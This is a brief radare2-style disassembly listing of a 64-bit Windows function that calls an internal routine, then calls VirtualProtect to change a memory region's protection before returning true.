mov r8d, dword [rsp + 0x4c]
mov rcx, qword [rsp + 0x40]
mov dword [rsp + 0x2c], r8d
call fcn.140002b30
mov rcx, qword [rsp + 0x50]
mov rdx, rax
mov r8d, dword [rsp + 0x2c]
lea r9, [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov al, 1
and al, 1
movzx eax, al
add rsp, 0x58
ret